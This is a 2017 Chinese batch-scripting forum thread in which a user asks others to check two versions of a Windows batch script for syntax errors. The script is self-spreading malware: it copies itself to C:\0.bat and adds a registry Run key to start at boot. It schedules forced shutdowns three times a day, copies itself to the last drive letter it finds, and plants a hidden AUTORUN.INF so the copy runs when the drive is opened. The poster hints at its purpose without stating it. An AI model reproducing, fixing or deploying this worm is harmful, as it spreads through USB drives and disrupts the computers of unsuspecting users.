标题: [系统相关] 帮忙看一下这个批处理还有没有什么语法错误 [打印本页]
作者: hk7777777 时间: 2017-11-23 22:27 标题: 帮忙看一下这个批处理还有没有什么语法错误
本帖最后由 hk7777777 于 2017-11-25 14:25 编辑
- @echo off&setlocal EnableDelayedExpansion© /Y %0>C:\0.bat
- reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shutdown /d "C:\0.bat" /f
- at /delete /yes
- for %%i in (11:40 17:05 21:50) do (at %%i /every:M,T,W,Th,F,S,Su shutdown -s -t 10)&for %%i in (Z Y X W V U T S R Q P O N M L K J I H G F E D) do (if NOT exist %%i:\*.* set a=%%i)
- :a
- (if NOT exist %a%:\*.* goto a)>nul
- copy /Y %0>%a%:\0.bat
- set b=%a%:\AUTORUN.INF
- if exist %b%\ (del /f /a /q %b%\*.*&cd /s /q %b%\)&echo ^[autorun^]>%b%&(echo OPEN^=explorer.exe&echo shell\open^=打开(^&O)&echo shell\open\Command^=0.bat&echo shell\open\Default^=1&echo shell\资源管理器(^&X)\Command^=0.bat&echo shell\自动播放(^&P)\DropTarget^=0.bat)>>%b%
- attrib +sh %b%
- attrib +h %a%:\0.bat
复制代码
干嘛的,诸位自己脑补
作者: hk7777777 时间: 2017-11-24 14:24
本帖最后由 hk7777777 于 2017-11-24 14:27 编辑
╰(‵□′)╯✧Duang~送你五毛钱特效!
作者: hk7777777 时间: 2017-11-24 14:45
本帖最后由 hk7777777 于 2017-11-25 14:26 编辑
- @echo off
- setlocal EnableDelayedExpansion
- copy /Y %0>C:\0.bat
- reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shutdown /d "C:\0.bat" /f
- at /delete /yes
- for %%i in (11:40 17:05 21:50) do (
- at %%i /every:M,T,W,Th,F,S,Su shutdown -s -t 10)
- for %%i in (Z Y X W V U T S R Q P O N M L K J I H G F E D) do (if NOT exist %%i:\*.* set a=%%i)
- :a
- (if NOT exist %a%:\*.* goto a)>nul
- copy /Y %0>%a%:\0.bat
- if exist %a%:\AUTORUN.INF\ (
- del /f /a /q %a%:\AUTORUN.INF\*.*
- cd /s /q %a%:\AUTORUN.INF\)
- echo ^[autorun^]>%a%:\AUTORUN.INF
- echo OPEN^=explorer.exe>>%a%:\AUTORUN.INF
- echo shell\open^=打开^(^&O^)>>%a%:\AUTORUN.INF
- echo shell\open\Command^=0.bat>>%a%:\AUTORUN.INF
- echo shell\open\Default^=1>>%a%:\AUTORUN.INF
- echo shell\资源管理器(^&X)\Command^=0.bat>>%a%:\AUTORUN.INF
- echo shell\自动播放(^&P)\DropTarget^=0.bat>>%a%:\AUTORUN.INF
- attrib +sh %a%:\AUTORUN.INF
- attrib +h %a%:\0.bat
复制代码
作者: hk7777777 时间: 2017-11-25 14:48
有人吗?进来吹吹水也行
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |